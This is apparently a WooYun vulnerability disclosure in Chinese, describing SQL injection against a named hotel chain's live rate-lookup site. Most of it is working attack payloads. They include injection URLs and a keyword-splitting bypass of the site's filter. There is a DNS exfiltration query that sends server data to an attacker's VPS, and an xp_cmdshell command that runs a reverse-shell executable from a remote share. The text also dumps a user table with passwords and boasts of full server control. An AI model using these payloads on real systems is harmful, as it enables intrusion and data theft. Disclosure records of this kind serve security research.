漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-044473
漏洞标题:如家某处一个经典SQL注射
相关厂商:如家酒店集团
漏洞作者: sql
提交时间:2013-11-30 01:11
修复时间:2014-01-14 01:12
公开时间:2014-01-14 01:12
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-30: 细节已通知厂商并且等待厂商处理中
2013-12-01: 厂商已经确认,细节仅向厂商公开
2013-12-11: 细节向核心白帽子及相关领域专家公开
2013-12-21: 细节向普通白帽子公开
2013-12-31: 细节向实习白帽子公开
2014-01-14: 细节向公众公开
简要描述:
rt
详细说明:
本吊昨天发现如家一个注入点,感觉这个点应该是被基友日过,然后被如家给补了。
但是没补好,还是漏了一点点空给我。
于是我想好好利用这个点,做点事情。
既然是周末,那么本吊就不怕明天上课迟到了,先日站,再离线迅雷看片,然后大家都懂的。
注入点是这个
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='a
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='b
明显的一个错误,一个正确。
那么就是典型的字符型SQL注入。
但是我用SQLMAP没跑出来。
于是只好本吊亲自上阵了,很久没亲自操刀了,感觉很陌生得慌。
因为是aspx 所以感觉是mssql
就先执行了这个:
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and(select count(*) from sysobjects)>0
警告!你的IP已经被记录!不要使用敏感字符!
于是我知道了,过滤了select
后来经测试,还过滤了 master declare等关键字。
并且 令人蛋疼的是 错误提示关闭。没办法爆错显信息啊。
大家肯定说那你openrowset吧。
我也知道这么弄,可sqlserver 2005以上默认是关闭的。还是先判断数据库版本吧。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and substring((select @@version),23,4)='2000'and'a'='a
返回错误。
说明不是mssql2000
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'substring((@@version),22,4)='2005'and'a'='a
这个也返回错误
说明不是mssql2005
后来检测到是mssql2008.
然后检测一下权限。
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 and 'a'='a
返回正常
竟然是sa。 我瞬间释然了。现在还能碰到sa啊 看来应该可以拿下了。
现在就剩绕过ids了。
经检测exec没有过滤,那么可以使用exec(sql语句的方式)
exec('sel'+'ect @@version);这样就绕过IDS了。哈哈
其实这里有个快速获取数据库信息的方法
刚好 基友有个VPS 我们就试了一下。
就是利用dns解析得到 想要的数据。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ba'%2b'ckup+lo'%2b'g+ma'%2b'ster+to+di'%2b'sk=''\\'%2b@@servername%2b'.xxx.xxx\a'';')--
然后我再VPS监听
就得到@@servername的信息了。
获取到是 :R021RJSH00223S2
通过这样的方法可以获取你想要的信息
不过这里既然是sa,那么 就不费劲了。
直接用exec()的方式执行任何sql语句。
恢复xp_cmshell
然后直接反向链接程序,就弹回来了。
这里我执行的是
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ex'%2b'ec+ma'%2b'ster..x'%2b'p_cm'%2b'dshell''\\1.1.1.1\pub\ma.exe''')--
直接把反弹程序放在vps就行了
当然这里vps是配置共享服务,开放445什么的 大家都懂的。
这是弹回来的图。
这是C盘,貌似有别人的马,看来被日过了。
这是备份的数据库。
然后我在cmd执行sql语句看下数据库的内容
具体是这样的:
osql /E /Q "select @@version"
osql /E /Q "select name from sysdatabases where dbid>4"
这样可以直接在命令行执行sql语句的。
这是其中一个表的内容
D:\>osql /E /Q "use customer;select * from users"
osql /E /Q "use customer;select * from users"
ID UserCode
UserName UserPassword
UserEmail RoleCode
Flag
----------- --------------------
-------------------------------------------------- --------------
-------------------------------------------------- --------------
----
3 1001
admin 111111
1001
1
4 1002
ceshi 111111
1002
1
5 1003
3333 111111
这是D盘:
其实呢,我已经有数据库服务器的管理员权限了
可以轻松把所有数据库COPY到我的vps里面。
也可以给数据库服务器装木马,干什么都行。
所以就到此为止吧。
漏洞证明:
同上
(有个小错误修改了下,有一个图抹掉了漏点 ,求通过)
修复方案:
要补就不要留下空隙嘛。
版权声明:转载请注明来源 sql@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2013-12-01 22:34
厂商回复:
感谢关注!
最新状态:
暂无